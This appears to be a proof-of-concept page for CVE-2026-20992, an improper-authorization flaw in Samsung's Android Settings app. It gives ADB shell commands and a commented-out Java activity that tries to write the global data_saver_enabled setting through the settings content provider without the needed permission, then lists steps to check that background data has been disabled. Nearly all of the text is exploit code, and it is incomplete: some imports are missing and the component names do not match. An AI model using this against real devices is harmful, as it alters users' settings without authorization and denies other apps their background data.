CVE-2026-20992: Samsung Settings权限控制不当漏洞

// CVE-2026-20992 PoC - Samsung Settings Improper Authorization // Requires: Local access to Samsung Android device // This PoC demonstrates the permission bypass to disable background data configuration // Method 1: Using ADB to trigger the vulnerability // adb shell am start -n com.android.settings/.Settings\$DataUsageSummaryActivity // adb shell content query --uri content://settings/global --projection * // Method 2: Exploit code structure (requires device-specific implementation) /* package com.example.cve20992_poc; import android.content.Intent; import android.net.Uri; import android.os.Bundle; public class MainActivity extends AppCompatActivity { // Target package for testing private static final String TARGET_PACKAGE = "com.android.chrome"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // Attempt to bypass authorization and modify background data settings try { // Construct intent to access Settings Data Usage Intent intent = new Intent(); intent.setComponent(new ComponentName( "com.android.settings", "com.android.settings.DataUsageSummaryActivity" )); // Try to modify Data Saver settings directly // This demonstrates the improper authorization issue Uri dataUri = Uri.parse("content://settings/global/data_saver_enabled"); ContentValues values = new ContentValues(); values.put("value", 1); // The vulnerability allows low-privilege app to modify this setting getContentResolver().insert(dataUri, values); Log.d("CVE-2026-20992", "Exploitation attempted - check if settings were modified"); } catch (SecurityException e) { Log.e("CVE-2026-20992", "Permission denied: " + e.getMessage()); } } } */ // Verification steps: // 1. Check if background data settings can be modified without proper authorization // 2. Verify the modification persists after device restart // 3. Confirm affected apps cannot receive background data